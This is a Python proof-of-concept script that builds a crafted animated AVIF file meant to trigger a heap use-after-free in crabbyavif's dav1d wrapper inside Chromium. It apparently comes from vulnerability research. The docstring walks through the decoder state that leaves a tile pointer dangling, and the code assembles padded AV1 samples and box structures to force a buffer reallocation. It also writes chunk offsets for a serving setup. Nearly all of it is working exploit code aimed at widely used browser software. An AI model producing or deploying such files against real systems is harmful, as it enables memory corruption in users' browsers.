#!/usr/bin/env python3
"""
Builds a malicious animated AVIF that triggers a heap-use-after-free in
crabbyavif's Dav1d wrapper.

OBU layout (generated by libaom-av1: 128x64, tile-columns=1 → 2 tiles,
num-tile-groups=2, all-keyframes):

  SEQ_HDR  : 0a 0a 00 00 00 03 2f ff cd af 90 04
  FRAME_HDR: 1a 09 10 00 de 40 00 00 2c 00 02
  TG.0     : 22 0b 80 0a 05 8d 0d 5b 2a 90 47 44 80   (start=0,end=0)
  TG.1     : 22 0b e0 0a 05 8d 0d 5b 2a 90 47 44 80   (start=1,end=1)

We assemble two track samples:

  sample0 = SEQ_HDR | FRAME_HDR_A | TG_A.0 | TG_A.1 | FRAME_HDR_B | TG_B.0
  sample1 = TG_B.1  | OBU_PADDING(..)       (size > sample0 to force realloc)

dav1d behaviour on sample0:
  - send_data → gen_picture parses SEQ_HDR + FRAME_HDR_A + TG_A.0 + TG_A.1
    → frame A complete → submit_frame → output_picture_ready → break
    (c->in still has FRAME_HDR_B + TG_B.0)
  - get_picture → returns frame A
  - flush() → get_picture → gen_picture parses FRAME_HDR_B (clears c->tile)
    then TG_B.0 → c->tile[0].data.data points INTO sample0 slice.
    n_tiles=1 < 2 → not submitted → EAGAIN. flush() returns Ok.
  → get_next_image() returns Ok with c->tile[0] still dangling.

Between samples, Chromium's ReadFromSegmentReader merge buffer is reallocated
(clear()+reserve(larger)), freeing sample0's backing store.

dav1d behaviour on sample1:
  - send_data → gen_picture parses TG_B.1 → c->tile[1] set, n_tiles=2 == 2
    → dav1d_submit_frame → memcpy c->tile into f->tile
    → dav1d_decode_frame_init_cdf reads f->tile[0].data.data  *** UAF ***
"""
import struct, sys

def box(typ, payload):
    return struct.pack(">I", 8 + len(payload)) + typ + payload

def fullbox(typ, version, flags, payload):
    return box(typ, struct.pack(">B3s", version, flags.to_bytes(3, "big")) + payload)

def leb128(v):
    out = b""
    while True:
        b = v & 0x7F
        v >>= 7
        if v:
            out += bytes([b | 0x80])
        else:
            out += bytes([b])
            return out

# ---------- AV1 OBUs (from libaom encode of 128x64 red, 2 tiles, 2 tile groups) -----
SEQ_HDR   = bytes.fromhex("0a0a000000032fffcdaf9004")
FRAME_HDR = bytes.fromhex("1a091000de4000002c0002")
TG0       = bytes.fromhex("220b800a058d0d5b2a90474480")
TG1       = bytes.fromhex("220be00a058d0d5b2a90474480")

def obu_padding(n):
    """OBU_PADDING (type 15) with n payload bytes."""
    sz = leb128(n)
    return bytes([0x7A]) + sz + b"\x00" * n   # 0x7a = 0 1111 0 1 0

def make_padding(total_obu_len):
    """OBU_PADDING whose total encoded length is exactly total_obu_len."""
    # header(1) + leb128(payload) + payload = total_obu_len
    # try payload sizes until match
    for hdr_len in (1, 2, 3):
        payload = total_obu_len - 1 - hdr_len
        if payload >= 0 and len(leb128(payload)) == hdr_len:
            o = obu_padding(payload)
            assert len(o) == total_obu_len, (len(o), total_obu_len)
            return o
    raise ValueError(total_obu_len)

# Sample 0: complete frame A, then OBU_PADDING, then partial frame B (header + tile group 0).
# Must be large enough to span the first RWBuffer block boundary (~4064 bytes into the
# file) so that ReadFromSegmentReader takes its merge-buffer path.
TARGET_S0 = 5000
core0 = SEQ_HDR + FRAME_HDR + TG0 + TG1
tail0 = FRAME_HDR + TG0
sample0 = core0 + make_padding(TARGET_S0 - len(core0) - len(tail0)) + tail0
assert len(sample0) == TARGET_S0

# Sample 1: tile group 1 of frame B, padded so len(sample1) >> 2*len(sample0)
# (forces std::vector::reserve() to reallocate the merge buffer that sample0
# was copied into, freeing the bytes c->tile[0].data still points at).
TARGET_S1 = 16000
sample1 = TG1 + make_padding(TARGET_S1 - len(TG1))
assert len(sample1) == TARGET_S1
assert len(sample1) > 2 * len(sample0)

print(f"sample0 = {len(sample0)} bytes", file=sys.stderr)
print(f"sample1 = {len(sample1)} bytes", file=sys.stderr)

# av1C config (marker=1, version=1, seq_profile=0, seq_level_idx=0,
#              seq_tier=0, high_bitdepth=0, twelve_bit=0, mono=0,
#              ss_x=1, ss_y=1, csp=0, presentation_delay_present=0)
av1C = box(b"av1C", bytes([0x81, 0x00, 0x0C, 0x00]))

colr = box(b"colr", b"nclx" + struct.pack(">HHHB", 1, 13, 6, 0x80))

# ---------- Layout pass 1: compute sizes with placeholder offsets, then patch -------
def build(mdat_offset_placeholder):
    W, H = 128, 64

    # ---- meta ----
    hdlr = fullbox(b"hdlr", 0, 0, b"\x00"*4 + b"pict" + b"\x00"*12 + b"libavif\x00")
    pitm = fullbox(b"pitm", 0, 0, struct.pack(">H", 1))
    # iloc v0: offset_size=4, length_size=4, base_offset_size=0, item_count=1
    #   item_id=1, data_ref_index=0, extent_count=1, offset, length
    iloc = fullbox(b"iloc", 0, 0,
        bytes([0x44, 0x00]) + struct.pack(">H", 1) +
        struct.pack(">HHH", 1, 0, 1) +
        struct.pack(">II", mdat_offset_placeholder, len(sample0)))
    iinf = fullbox(b"iinf", 0, 0, struct.pack(">H", 1) +
        fullbox(b"infe", 2, 0, struct.pack(">HH", 1, 0) + b"av01" + b"Color\x00"))
    ispe = fullbox(b"ispe", 0, 0, struct.pack(">II", W, H))
    pixi = fullbox(b"pixi", 0, 0, bytes([3, 8, 8, 8]))
    ipco = box(b"ipco", ispe + pixi + av1C + colr)
    ipma = fullbox(b"ipma", 0, 0, struct.pack(">I", 1) +
                   struct.pack(">HB", 1, 4) + bytes([0x01, 0x02, 0x83, 0x04]))
    iprp = box(b"iprp", ipco + ipma)
    meta = fullbox(b"meta", 0, 0, hdlr + pitm + iloc + iinf + iprp)

    # ---- moov ----
    timescale = 30
    duration = 2
    mvhd = fullbox(b"mvhd", 0, 0,
        struct.pack(">IIII", 0, 0, timescale, duration) +
        struct.pack(">i", 0x00010000) + struct.pack(">h", 0x0100) + b"\x00"*10 +
        struct.pack(">9i", 0x10000,0,0, 0,0x10000,0, 0,0,0x40000000) +
        b"\x00"*24 + struct.pack(">I", 2))
    tkhd = fullbox(b"tkhd", 0, 1,
        struct.pack(">IIIII", 0, 0, 1, 0, duration) +
        b"\x00"*8 + struct.pack(">hh", 0, 0) + b"\x00"*4 +
        struct.pack(">9i", 0x10000,0,0, 0,0x10000,0, 0,0,0x40000000) +
        struct.pack(">II", W << 16, H << 16))
    mdhd = fullbox(b"mdhd", 0, 0,
        struct.pack(">IIII", 0, 0, timescale, duration) +
        struct.pack(">HH", 0x55C4, 0))
    hdlr2 = fullbox(b"hdlr", 0, 0, b"\x00"*4 + b"pict" + b"\x00"*12 + b"libavif\x00")
    vmhd = fullbox(b"vmhd", 0, 1, struct.pack(">HHHH", 0, 0, 0, 0))
    dref = fullbox(b"dref", 0, 0, struct.pack(">I", 1) + fullbox(b"url ", 0, 1, b""))
    dinf = box(b"dinf", dref)
    # stsd → av01 sample entry
    av01 = box(b"av01",
        b"\x00"*6 + struct.pack(">H", 1) +              # reserved + dref_index
        b"\x00"*16 +                                     # pre_defined/reserved
        struct.pack(">HH", W, H) +                       # width, height
        struct.pack(">II", 0x00480000, 0x00480000) +     # h/v resolution
        b"\x00"*4 + struct.pack(">H", 1) +               # reserved + frame_count
        bytes([10]) + b"AOM Coding" + b"\x00"*21 +       # compressorname
        struct.pack(">Hh", 0x0018, -1) +                 # depth, pre_defined
        av1C + colr)
    stsd = fullbox(b"stsd", 0, 0, struct.pack(">I", 1) + av01)
    stts = fullbox(b"stts", 0, 0, struct.pack(">I", 1) + struct.pack(">II", 2, 1))
    stsc = fullbox(b"stsc", 0, 0, struct.pack(">I", 1) + struct.pack(">III", 1, 2, 1))
    stsz = fullbox(b"stsz", 0, 0, struct.pack(">II", 0, 2) +
                   struct.pack(">II", len(sample0), len(sample1)))
    stco = fullbox(b"stco", 0, 0, struct.pack(">I", 1) +
                   struct.pack(">I", mdat_offset_placeholder))
    stss = fullbox(b"stss", 0, 0, struct.pack(">I", 2) + struct.pack(">II", 1, 2))
    stbl = box(b"stbl", stsd + stts + stsc + stsz + stco + stss)
    minf = box(b"minf", vmhd + dinf + stbl)
    mdia = box(b"mdia", mdhd + hdlr2 + minf)
    trak = box(b"trak", tkhd + mdia)
    moov = box(b"moov", mvhd + trak)

    mdat = box(b"mdat", sample0 + sample1)

    ftyp = box(b"ftyp", b"avis" + struct.pack(">I", 0) +
               b"avif" + b"avis" + b"msf1" + b"iso8" + b"mif1" + b"miaf")

    # File order: ftyp | meta | moov | mdat
    header = ftyp + meta + moov
    return header, mdat

# Two-pass: compute mdat offset
header, mdat = build(0)
mdat_data_offset = len(header) + 8   # past mdat box header
header, mdat = build(mdat_data_offset)
assert len(header) + 8 == mdat_data_offset

avif = header + mdat
with open("poc.avif", "wb") as f:
    f.write(avif)

# Compute the byte offsets of sample0 and sample1 in the file so the server
# can split chunks across them.
s0_off = mdat_data_offset
s0_end = s0_off + len(sample0)
s1_off = s0_end
s1_end = s1_off + len(sample1)
print(f"file size = {len(avif)}", file=sys.stderr)
print(f"sample0: [{s0_off}, {s0_end})", file=sys.stderr)
print(f"sample1: [{s1_off}, {s1_end})", file=sys.stderr)

# Write offsets for the server
with open("poc.offsets", "w") as f:
    f.write(f"{s0_off} {s0_end} {s1_off} {s1_end}\n")
